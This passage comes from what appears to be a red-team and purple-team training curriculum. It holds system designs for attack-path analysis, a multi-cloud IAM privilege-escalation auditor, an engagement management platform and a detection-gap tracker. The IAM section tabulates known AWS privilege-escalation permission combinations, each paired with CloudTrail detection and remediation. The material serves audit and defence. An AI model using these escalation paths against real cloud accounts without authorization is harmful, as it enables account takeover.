Use in purple teaming: this is the analytical counterpart to the purple team session. The what-if analyzer predicts which hardening controls remove the most attack paths. The purple team session validates whether the detection rules fire on the remaining paths.
5. Tradeoffs
In-memory graph vs. embedded DB:
- In-memory: sub-millisecond edge traversal, no I/O. Sufficient for a single engagement snapshot (100K nodes, 1M edges ≈ 2–4 GB RAM).
- Embedded DB (Neo4j, DGraph): persistent, queryable by multiple users, handles larger graphs.
- Decision: in-memory for the single-analyst tool model; use an embedded graph DB if the platform is shared among 10+ analysts.
Dijkstra vs. A:*
- A* requires a heuristic (estimated cost to goal). In an AD graph, no simple heuristic exists — the graph structure is irregular.
- Decision: Dijkstra. If performance is an issue at scale, use bidirectional Dijkstra.
K-shortest paths computational cost:
- Yen's K-shortest paths is O(K × V × (V + E) log V). For K=10, V=100K, E=1M, this is expensive for real-time interactive use.
- Decision: limit K to 5; cache results for repeated queries on the same snapshot.
6. Detection-Forward Perspective
This system is itself a detection-forward tool: it produces the attacker's view and the defender's view simultaneously.
- Every path step includes the detection opportunity. A path with 4 steps has 4 detection opportunities. The report shows which ones the client currently has deployed.
- The what-if analyzer is the blue team planning tool: it answers "which single control removes the most paths?"
- The sensor inventory parameter allows the blue team to see the attacker's effective graph (with deployed detections removed) and understand what paths survive their current controls.
This is purple teaming formalized. The Lab 01 solver in Phase 05 implements a simplified version of this system.
System Design: Cloud IAM Privilege Escalation Audit System
1. Problem Statement
Design a system that audits cloud IAM configurations across AWS, Azure, and GCP, identifies privilege escalation paths, and generates a prioritized remediation report.
Functional requirements:
- Ingest IAM configuration exports from AWS (IAM Policy documents + role assignments), Azure (RBAC assignments + management group hierarchy), GCP (IAM bindings + conditions)
- Model principals, permissions, and resources as a directed graph
- Find paths from a low-privileged principal to a sensitive action or resource
(e.g., from
arn:aws:iam::123456789:user/appusertoiam:CreatePolicyVersionors3:GetObjecton a protected bucket) - Flag known privilege-escalation permission combinations:
- AWS:
iam:PassRole+lambda:CreateFunction+lambda:InvokeFunction - AWS:
iam:CreatePolicyVersionalone - Azure: Owner assignment on a subscription
- GCP:
resourcemanager.projects.setIamPolicy
- AWS:
- Show detection: for each escalation path, the CloudTrail/Activity Log event that would fire
- Output: a prioritized finding list (highest-privilege gain first) with remediation
Non-functional requirements:
- Offline: operates on policy export files; no live cloud connectivity required
- Multi-cloud: a single model supports AWS, Azure, and GCP simultaneously
- Scale: up to 10,000 principals and 100,000 permission assignments per cloud account
2. Constraints
In scope:
- IAM/RBAC policy evaluation model for each cloud
- Privilege escalation edge taxonomy
- Graph-based path finding
- Detection mapping per edge
Out of scope:
- Live API calls to cloud provider control planes
- Automated remediation (applying changes)
- Data plane access (actual S3 object reads, etc.)
3. High-Level Architecture
┌──────────────────────────────────────────────────────────────────────────┐
│ IAM Export Files │
│ AWS: iam-policies.json + role-assignments.json │
│ Azure: rbac-assignments.json + management-group-hierarchy.json │
│ GCP: iam-bindings.json + org-policy.json │
└───────────────────────────────┬──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────────────────┐
│ Cloud-Specific Parsers (per-cloud policy evaluation) │
│ AWS Parser: deny > SCP > resource policy > identity policy │
│ Azure Parser: RBAC assignment scope + inherited permissions │
│ GCP Parser: binding + condition evaluation │
└───────────────────────────────┬──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────────────────┐
│ Unified Graph Model │
│ Nodes: principals (users, roles, service accounts, groups) │
│ Edges: effective permissions (action → resource) │
│ Edge metadata: cloud provider, escalation risk, detection event │
└───────────────────────────────┬──────────────────────────────────────────┘
│
┌──────────┴───────────┐
│ │
▼ ▼
┌─────────────────┐ ┌──────────────────────┐
│ Escalation Path │ │ Known-Pattern Matcher │
│ Finder │ │ (flag known combos │
│ (graph walk) │ │ without graph search) │
└────────┬────────┘ └───────────┬──────────┘
│ │
└───────────┬────────────┘
▼
┌────────────────────────────┐
│ Finding Prioritizer │
│ + Detection Mapper │
│ + Remediation Generator │
└────────────────────────────┘
4. Component Deep-Dives
4.1 Policy Evaluation Models
AWS (most complex): the evaluation algorithm in order:
- Explicit
Denyin any policy → denied - If inside an AWS Organization: SCP must allow the action → if SCP does not explicitly allow, denied
- Resource-based policy: if it has an explicit
Allowfor the principal → allowed (even without identity policy, for same-account; for cross-account, needs both) - Identity-based policy (attached to the principal): if
Allow→ allowed - Default: implicit deny
The parser must implement this evaluation order to determine effective permissions.
Azure (simpler): role assignments are additive; most permissive role wins. Deny assignments (available but rarely used) override allows. The inheritance chain: management group → subscription → resource group → resource. The parser walks up the scope chain to collect all inherited assignments.
GCP (condition-aware): IAM bindings grant a role to a member at a resource scope. Conditions (e.g., "only during business hours") restrict when the binding applies. The parser applies binding + condition evaluation.
4.2 Escalation Edge Taxonomy
The most critical AWS privilege escalation paths (each is an edge in the graph):
| Edge (permission set) | Escalation target | CloudTrail event | Risk |
|---|---|---|---|
iam:CreatePolicyVersion | Any policy → Admin | CreatePolicyVersion | CRITICAL |
iam:SetDefaultPolicyVersion | Rotate to admin version | SetDefaultPolicyVersion | CRITICAL |
iam:CreateAccessKey on any user | Access as that user | CreateAccessKey | HIGH |
iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction | Admin via Lambda execution role | CreateFunction, InvokeFunction | CRITICAL |
iam:PassRole + ec2:RunInstances | Admin via EC2 instance profile | RunInstances | HIGH |
iam:AttachUserPolicy | Attach admin policy to self | AttachUserPolicy | CRITICAL |
iam:AddUserToGroup | Add self to admin group | AddUserToGroup | HIGH |
sts:AssumeRole on an admin role | Direct role assumption | AssumeRole | CRITICAL |
For each, the Known-Pattern Matcher flags any principal that holds the permission set without
requiring a full graph traversal.
4.3 Detection Mapping
Every escalation edge maps to a CloudTrail or platform audit event:
EDGE_DETECTION = {
"aws:iam:CreatePolicyVersion": {
"event_source": "iam.amazonaws.com",
"event_name": "CreatePolicyVersion",
"cloudtrail_key": "requestParameters.policyArn",
"anomaly_signal": "new policy version within 1 hour of principal creation",
},
"aws:iam:PassRole:lambda": {
"event_source": "lambda.amazonaws.com",
"event_name": "CreateFunction20150331",
"cloudtrail_key": "requestParameters.role",
"anomaly_signal": "PassRole with admin ARN from non-admin principal",
},
# ... etc
}
The report includes, for each finding: "This escalation path would generate CloudTrail event X. To detect it, create a CloudWatch Metric Filter on X with condition Y."
4.4 Finding Prioritizer
Priority scoring per finding:
score = (privilege_gain_weight × 3) + (path_length_inverse × 2) + (detection_cost_inverse × 1)
privilege_gain_weight: CRITICAL (admin access) = 10, HIGH (elevated access) = 7, MEDIUM = 4path_length_inverse: single-step escalation scores higher (1 / path_length)detection_cost_inverse: low-noise escalation scores higher (1 / total_detection_cost)
Output: findings sorted by score descending. Top finding = easiest-to-exploit, highest-privilege, hardest-to-detect escalation path.
5. Tradeoffs
Unified graph vs. per-cloud models:
- Unified: cross-cloud lateral movement paths (e.g., AWS role assumed from a GCP service account) can be modeled as edges across cloud boundaries.
- Unified: higher implementation complexity; each cloud's policy semantics are different.
- Decision: unified graph with cloud-provider labels on edges; cross-cloud edges added when the export includes trust relationships between providers.
Known-pattern matcher vs. graph search:
- Known-pattern matcher is O(1) per principal against a fixed list — very fast, catches the "hot" escalation paths documented by Rhino Security Labs.
- Graph search finds novel paths the known-pattern list misses.
- Decision: both; the known-pattern matcher runs first as a fast pass, graph search runs after for comprehensive coverage.
Full policy simulation vs. approximation:
- Full AWS IAM policy simulation requires the full policy document, conditions, resource tags,
and session context. AWS provides the
SimulatePrincipalPolicyAPI for this, but that requires live connectivity. - For offline mode, we approximate by evaluating explicit deny → SCP allow → identity allow. This may produce false positives (overcounting permissions) but never false negatives (never misses a real escalation path).
- Decision: conservative approximation (overcount) for offline mode; document the limitation.
6. Detection-Forward Perspective
Every escalation path has a CloudTrail event. The report structure is:
- Finding: "Principal X can reach admin via
iam:CreatePolicyVersion" - CloudTrail signal: "Event
iam.amazonaws.com/CreatePolicyVersionfrom non-admin principal" - Remediation: "Remove
iam:CreatePolicyVersionfrom principal X's attached policies; add a deny SCP foriam:CreatePolicyVersionexcept for named IAM admin roles" - Detection rule: "CloudWatch metric filter:
{ $.eventName = "CreatePolicyVersion" && $.userIdentity.type != "AssumedRole:IAMAdmin" }"
This is the output that makes the audit actionable. A finding without the detection rule tells the client what is broken but not how to detect its exploitation. A finding with the detection rule gives the client both the remediation and the monitoring it needs while remediation is in progress.
System Design: Engagement Planning & Artifact Management Platform
1. Problem Statement
Design an internal platform for a red team consulting firm to manage engagement lifecycle: from scoping through authorization, execution, artifact management, deconfliction, and final reporting. The platform serves a team of 15–30 consultants running 10–20 concurrent engagements.
Functional requirements:
- Engagement CRUD: create engagement, associate client, define scope, set dates
- ROE document generation and signature tracking
- Deconfliction log: timestamped log of operator actions for each engagement
- Artifact vault: encrypted storage for engagement artifacts (screenshots, credential proofs, network captures); per-engagement access control
- Report drafting: collaborative finding management (create/assign/review findings)
- ATT&CK mapping: each finding links to one or more ATT&CK technique IDs
- Status dashboard: engagement status, upcoming deadlines, finding counts by severity
Non-functional requirements:
- Multi-tenant: findings and artifacts from one client never visible to another
- Encryption: artifacts encrypted at rest; keys managed per engagement
- Audit log: all access to artifacts and report drafts logged immutably
- Availability: 99.9% uptime during active engagement windows (not 24/7 but business-hours-critical)
- Access control: role-based (operator, engagement lead, partner/reviewer, admin)
2. Constraints
In scope:
- Engagement and finding data model
- Access control model
- Artifact storage design
- Deconfliction log design
- API surface for operator tooling integration
Out of scope:
- C2 infrastructure (covered in Design 01)
- Client-facing portal
- Automated exploitation tooling
3. High-Level Architecture
┌──────────────────────────────────────────────────────────────────────────┐
│ Web/CLI Clients (consultants, engagement leads, partners) │
└───────────────────────────────┬──────────────────────────────────────────┘
│ HTTPS + mTLS (internal PKI)
▼
┌──────────────────────────────────────────────────────────────────────────┐
│ API Gateway / Auth Layer │
│ - Authenticate: OIDC SSO (internal IdP) │
│ - Authorize: role-based access control per engagement │
│ - Rate-limit: prevent bulk artifact download │
└───────────────────────────────┬──────────────────────────────────────────┘
│
┌───────────────────────┼───────────────────────┐
│ │ │
▼ ▼ ▼
┌──────────────┐ ┌────────────────────┐ ┌───────────────────┐
│ Engagement │ │ Finding & Report │ │ Artifact Vault │
│ Service │ │ Service │ │ Service │
│ - CRUD │ │ - Finding CRUD │ │ - Encrypted blob │
│ - ROE gen │ │ - ATT&CK mapping │ │ store │
│ - Scope mgmt│ │ - Collab drafting │ │ - Per-engagement │
│ - Timeline │ │ - Severity/review │ │ KMS key │
└──────┬───────┘ └────────┬───────────┘ └────────┬──────────┘
│ │ │
└────────────────────┼────────────────────────┘
│
▼
┌─────────────────────────────────────┐
│ Shared: Deconfliction Log Service │
│ - Append-only timestamped records │
│ - Per-engagement access │
│ - Immutable audit trail │
└─────────────────────────────────────┘
│
▼
┌─────────────────────────────────────┐
│ Persistence Layer │
│ PostgreSQL: structured data │
│ S3: artifact blobs (server-side │
│ AES-256 + client-side key) │
└─────────────────────────────────────┘
4. Component Deep-Dives
4.1 Engagement Data Model
-- Core engagement table
CREATE TABLE engagements (
id UUID PRIMARY KEY,
client_name TEXT NOT NULL,
code_name TEXT NOT NULL, -- e.g., "Cedar Lattice"
start_date DATE NOT NULL,
end_date DATE NOT NULL,
status TEXT NOT NULL, -- planning | active | completed | archived
kms_key_id TEXT NOT NULL, -- per-engagement encryption key ARN
created_by UUID NOT NULL,
created_at TIMESTAMPTZ DEFAULT NOW()
);
-- Scope definition (IP ranges, domains, cloud accounts)
CREATE TABLE scope_entries (
id UUID PRIMARY KEY,
engagement_id UUID REFERENCES engagements(id),
entry_type TEXT NOT NULL, -- in_scope | out_of_scope
description TEXT NOT NULL,
value TEXT NOT NULL, -- IP range, domain, AWS account ID, etc.
);
-- ROE document tracking
CREATE TABLE roe_documents (
id UUID PRIMARY KEY,
engagement_id UUID REFERENCES engagements(id),
version INT NOT NULL,
content_hash TEXT NOT NULL, -- SHA-256 of the signed document
signed_by_name TEXT NOT NULL, -- client authority
signed_at TIMESTAMPTZ,
status TEXT NOT NULL, -- draft | pending_signature | signed
);
4.2 Access Control Model
Roles (per engagement, not global):
| Role | What they can do |
|---|---|
operator | Read engagement scope and ROE; write to deconfliction log; upload artifacts to engagement vault; create findings (draft only) |
engagement_lead | All operator permissions + promote findings to review; edit scope; add operators; generate report draft |
partner_reviewer | Read-only for report review; can leave comments; can approve final report |
admin | Full access; cross-engagement visibility; manage encryption keys |
Implementation: RBAC with engagement-scoped roles. A user can be an operator on one
engagement and an engagement_lead on another simultaneously. Access check:
(user_id, engagement_id, role) tuple lookup before every operation.
Key principle: no cross-engagement data access for non-admin roles. An operator on
Cedar Lattice cannot list engagements or access artifacts from another engagement.
4.3 Artifact Vault
Security requirement: finding artifacts (screenshots of credential captures, network traffic extracts) are client-sensitive. If the platform is compromised, artifacts must not be readable without the engagement key.
Encryption model:
- Each engagement has a unique KMS Customer Managed Key (CMK), created at engagement start
- Artifacts are encrypted client-side (before upload) with the CMK
- S3 stores only encrypted blobs
- The CMK is accessible only to users with the
operatoror higher role on that engagement - At engagement archive (30 days post-end), the CMK is disabled; artifacts become unreadable without an admin CMK re-enable
Upload flow:
Operator → API: upload artifact
API: verify operator role on engagement
API: request data key from KMS (CMK for engagement)
API: encrypt artifact blob client-side with data key
API: store encrypted blob in S3, metadata (name, type, uploader, timestamp) in Postgres
API: return artifact ID to operator
KMS: log key usage to CloudTrail
Download flow (same in reverse):
Operator → API: download artifact ID
API: verify operator role on engagement
API: fetch encrypted blob from S3
API: decrypt data key via KMS (CMK for engagement)
API: decrypt blob, return to operator
KMS: log key usage
4.4 Deconfliction Log Service
Requirement: an immutable record of operator actions, used during deconfliction calls and for the engagement report's activity timeline.
Design:
- PostgreSQL table with append-only INSERT permissions (no UPDATE, no DELETE via application role)
- A separate read-only role for generating the deconfliction report
- Fields:
{id, engagement_id, operator_id, timestamp_utc, action_type, target_host, description, session_id} action_type: enum of{scan, exploit, credential_dump, lateral_move, persistence, collection, tool_deploy, cleanup, deconfliction_stop, deconfliction_resume}
API: POST /engagements/{id}/deconfliction-log (operator writes an entry)
GET /engagements/{id}/deconfliction-log?from=T&to=T (lead/partner reads the timeline)
Immutability guarantee: the application service role has INSERT only on the
deconfliction_log table. UPDATE and DELETE are granted only to the admin role,
which requires a separate authentication factor and generates a high-priority audit event.
4.5 Finding and Report Service
Finding state machine:
draft → under_review → approved → published
↑ ↓
└── rejected ┘
Each finding in draft contains: title, severity, attck_id, precondition, evidence references (artifact vault IDs), detection opportunity, remediation, residual risk.
Collaborative editing: findings are individually locked during edit (optimistic lock with a 5-minute TTL). Last-write-wins within the lock window.
Report generation: the report generator pulls all approved findings, sorts by severity, and renders the Mandiant-style report structure: executive summary (auto-drafted from finding count and severity distribution), engagement overview, finding details, detection-gap matrix, remediation roadmap.
5. Tradeoffs
Monolith vs. microservices:
- The five services (engagement, finding, artifact, deconfliction, auth) could be separate microservices. For a 15–30 person firm with 10–20 concurrent engagements, the scale does not justify microservice operational overhead.
- Decision: modular monolith with clear service boundaries in code; can extract to microservices if the firm scales past 100 concurrent engagements.
PostgreSQL vs. document store for findings:
- Findings have a flexible schema (fields added as methodology evolves). A document store (MongoDB, DynamoDB) handles schema evolution better.
- But the engagement and user relationships require relational integrity (a finding belongs to one engagement, enforced by FK).
- Decision: PostgreSQL with JSONB for the flexible
finding_metadatafield; relational tables for the fixed schema entities.
Client-side encryption vs. server-side:
- Server-side encryption (SSE-S3, SSE-KMS) encrypts at rest but decrypts transparently on read — if the platform is compromised, artifacts are readable.
- Client-side encryption means the platform itself never holds plaintext; compromise of the platform server does not expose artifact content.
- Decision: client-side encryption (more secure, acceptable UX for a professional tool).
6. Detection-Forward Perspective
This platform is an internal defensive control for the red team firm itself:
- The artifact vault's CMK audit trail in CloudTrail is the firm's own detection mechanism: if a CMK is used outside of business hours or by an unexpected user, that is an internal security alert.
- The deconfliction log serves as the firm's own audit trail for legal protection.
- The immutable finding state machine prevents retroactive modification of reported findings (important for professional integrity and potential legal scrutiny).
From an external attacker's perspective, this platform is a high-value target: it contains client credentials and vulnerability proof artifacts. The CMK-based artifact encryption and per-engagement key rotation are the primary data-loss mitigations.
System Design: Purple Team Exercise Tracking & Detection-Gap Platform
1. Problem Statement
Design a platform that tracks purple team exercises — sessions where red and blue teams work together to test whether detection rules fire on specific ATT&CK techniques — and produces a prioritized detection-gap report with recommended actions.
Functional requirements:
- Track exercise sessions: date, scope, red team operator, blue team analyst, techniques tested
- For each technique execution: record TP/FP/TN/FN counts from the detection rule during the session
- Compute precision, recall, F1 per technique; aggregate across a session
- Track improvement over time: if the same technique is tested in two sessions 90 days apart, show recall improvement
- Identify top detection gaps: techniques with lowest recall, sorted by threat-actor prevalence and business risk
- Generate ATT&CK Navigator layer: color-code by recall score (green = covered, red = gap)
- Recommend next actions per gap: which Sigma rule to deploy, which data source to enable
Non-functional requirements:
- Multi-engagement: one team runs multiple sessions over time
- Export: generate an ATT&CK Navigator JSON layer file for each session
- Audit: all session results are immutable after the blue team analyst signs off
- API-first: CLI tool and Slack bot can post session results without logging into the web UI
2. Constraints
In scope:
- Exercise session data model
- Metric computation (precision/recall/F1)
- Gap prioritization model
- ATT&CK Navigator export
- API design
Out of scope:
- Red team tooling integration (automatic detection of TP/FP events)
- SIEM integration (pulling alert data automatically)
- ATT&CK content management (the ATT&CK matrix itself is an external data source)
3. High-Level Architecture
┌──────────────────────────────────────────────────────────────────────────┐
│ Input channels │
│ Web UI (blue team analyst enters results manually) │
│ REST API (CLI tool, Slack bot, automated SIEM export) │
└───────────────────────────────┬──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────────────────┐
│ Session Ingestion Service │
│ - Validate ATT&CK technique ID exists │
│ - Validate TP+FP+TN+FN counts are non-negative integers │
│ - Store raw results │
└───────────────────────────────┬──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────────────────┐
│ Metric Computation Engine │
│ - precision = TP / (TP + FP) │
│ - recall = TP / (TP + FN) │
│ - F1 = 2 × P × R / (P + R) │
│ - Aggregated across techniques per session │
│ - Trend: compare same technique across sessions │
└───────────────────────────────┬──────────────────────────────────────────┘
│
┌──────────┴───────────┐
│ │
▼ ▼
┌──────────────────────┐ ┌─────────────────────────┐
│ Gap Prioritizer │ │ ATT&CK Navigator │
│ - Sort by recall │ │ Export Generator │
│ - Weight by threat │ │ - JSON layer file │
│ actor prevalence │ │ - Color by recall │
│ - Recommend action │ │ score │
└────────────┬─────────┘ └────────────┬────────────┘
│ │
└────────────┬────────────┘
▼
┌─────────────────────────┐
│ Report Service │
│ - Session summary PDF │
│ - Gap report markdown │
│ - Executive dashboard │
└─────────────────────────┘
4. Component Deep-Dives
4.1 Session Data Model
CREATE TABLE exercise_sessions (
id UUID PRIMARY KEY,
engagement_id UUID,
session_date DATE NOT NULL,
red_operator TEXT NOT NULL,
blue_analyst TEXT NOT NULL,
scope_notes TEXT,
signed_off_at TIMESTAMPTZ, -- blue analyst sign-off; results immutable after this
signed_off_by TEXT,
created_at TIMESTAMPTZ DEFAULT NOW()
);
CREATE TABLE technique_results (
id UUID PRIMARY KEY,
session_id UUID REFERENCES exercise_sessions(id),
attck_id TEXT NOT NULL, -- e.g., "T1055.003"
attck_name TEXT NOT NULL,
tp_count INT NOT NULL CHECK (tp_count >= 0),
fp_count INT NOT NULL CHECK (fp_count >= 0),
tn_count INT NOT NULL CHECK (tn_count >= 0),
fn_count INT NOT NULL CHECK (fn_count >= 0),
detection_rule TEXT, -- Sigma rule ID or SIEM rule name
notes TEXT, -- operator notes on the execution
created_at TIMESTAMPTZ DEFAULT NOW()
);
CREATE TABLE technique_recommendations (
attck_id TEXT PRIMARY KEY,
data_source TEXT NOT NULL, -- e.g., "sysmon_eid_8"
sigma_rule_ref TEXT, -- public Sigma rule link or local ID
effort_days INT, -- estimated deployment effort
detection_notes TEXT
);
4.2 Metric Computation
Metrics are computed on read (not stored), so they always reflect the latest data:
def precision(tp, fp):
if tp + fp == 0:
return None # no alert fired: precision undefined
return tp / (tp + fp)
def recall(tp, fn):
if tp + fn == 0:
return None # technique was not executed: recall undefined
return tp / (tp + fn)
def f1(p, r):
if p is None or r is None or (p + r) == 0:
return None
return 2 * p * r / (p + r)
def detection_coverage(session_results):
recalls = [recall(r["tp"], r["fn"]) for r in session_results
if recall(r["tp"], r["fn"]) is not None]
return sum(recalls) / len(recalls) if recalls else 0.0
Edge cases:
tp_count + fn_count = 0: the technique was not executed during the session. Exclude from recall computation; note as "not tested."tp_count + fp_count = 0: the detection rule never fired. Precision is undefined; this is a pure miss (recall = 0 iffn_count > 0).tp_count > 0andfn_count = 0: perfect recall for this technique in this session.
4.3 Gap Prioritizer
Two-factor priority:
- Recall score (primary): lower recall = more urgent gap. Sort ascending.
- Threat actor prevalence (secondary): how many real-world threat actors use this
technique, according to MITRE ATT&CK's
Actor Mappingdata? More actor usage = higher priority if recall is equal.
def top_gaps(session_results, threat_actor_map, n=5):
gaps = []
for r in session_results:
rc = recall(r["tp"], r["fn"])
if rc is None:
continue # not tested
prevalence = threat_actor_map.get(r["attck_id"], 0)
gaps.append({
"attck_id": r["attck_id"],
"attck_name": r["attck_name"],
"recall": rc,
"prevalence": prevalence,
"priority_score": (1 - rc) * 10 + prevalence,
})
gaps.sort(key=lambda g: -g["priority_score"])
return gaps[:n]
Recommendation generation: for each top gap, the technique_recommendations table provides
the data source to enable, the Sigma rule reference, and the effort estimate. The report
renders this as: "Technique X (recall = 20%): Enable Sysmon EID 8. Deploy Sigma rule Y.
Estimated effort: 2 days."
4.4 ATT&CK Navigator Export
The ATT&CK Navigator accepts a JSON layer file that colors each technique cell. We map recall to a color gradient:
def recall_to_color(recall_value):
if recall_value is None:
return "#cccccc" # grey: not tested
if recall_value >= 0.8:
return "#00b050" # green: well-covered
if recall_value >= 0.5:
return "#ffcc00" # yellow: partial
return "#ff0000" # red: gap
def export_navigator_layer(session_results, session_name):
techniques = []
for r in session_results:
rc = recall(r["tp"], r["fn"])
techniques.append({
"techniqueID": r["attck_id"],
"score": round((rc or 0) * 100),
"color": recall_to_color(rc),
"comment": f"Recall: {rc:.0%}" if rc is not None else "Not tested",
"enabled": True,
})
return {
"name": session_name,
"versions": {"attack": "14", "navigator": "4.9"},
"domain": "enterprise-attack",
"techniques": techniques,
}
4.5 Trend Tracking
For each technique tested in multiple sessions, track recall over time:
SELECT
attck_id,
session_date,
tp_count::float / NULLIF(tp_count + fn_count, 0) AS recall
FROM technique_results
JOIN exercise_sessions ON session_id = exercise_sessions.id
WHERE attck_id = 'T1055.003'
ORDER BY session_date;
This query powers the trend chart in the dashboard: "Recall for T1055.003 went from 20% in January to 80% in April after Sysmon EID 8 was deployed."
5. Tradeoffs
Manual entry vs. automated SIEM integration:
- Automated: the platform pulls alert counts directly from the SIEM API when the red team runs a technique. No analyst manual entry required.
- Automated: requires SIEM API credentials stored in the platform, integration maintenance per SIEM version, and handling of delayed alert delivery.
- Manual: the blue analyst counts alerts during the exercise window. Simple, works with any SIEM.
- Decision: manual entry as the primary mode; API endpoint for automated entry from CLI tools or SIEM webhooks. Manual entry remains correct even when the automation breaks.
Immutability after sign-off:
- Sign-off by the blue analyst marks results as final. After that,
UPDATEis blocked by the application service role. - This prevents retroactive result inflation ("we changed the detection rule and want to re-score the session").
- Tradeoff: if an error is discovered post-sign-off, an admin must manually correct the data (with an audit log entry explaining the change).
ATT&CK Navigator vs. custom visualization:
- Building a custom heatmap means maintaining a frontend visualization component.
- ATT&CK Navigator is a well-known, well-maintained tool that clients and blue teams already use. Exporting a Navigator layer JSON file means zero custom frontend work and maximum compatibility.
- Decision: export ATT&CK Navigator JSON; the platform provides no custom heatmap.
6. Detection-Forward Perspective
This platform is the institutionalization of the detection-forward philosophy:
- Every technique tested in a purple team session has a measured recall score. Low recall is the quantified detection gap.
- The gap prioritizer and recommendation table translate measurement into action: "T1055.003 recall = 20%, gap is Sysmon EID 8, deploy this Sigma rule, 2-day effort."
- The trend chart answers the CISOs question: "Are we getting better?" The answer is now data-driven, not anecdotal.
- The ATT&CK Navigator export turns the abstract detection matrix into a specific, colored heat map of the organization's actual coverage state.
This is the endpoint of the Cedar Lattice curriculum. The red team engagement identifies the gaps. The purple team session validates whether the deployed detections close those gaps. The platform tracks the improvement over time. The full loop is: engage → report → detect → purple-team → measure → improve → re-engage.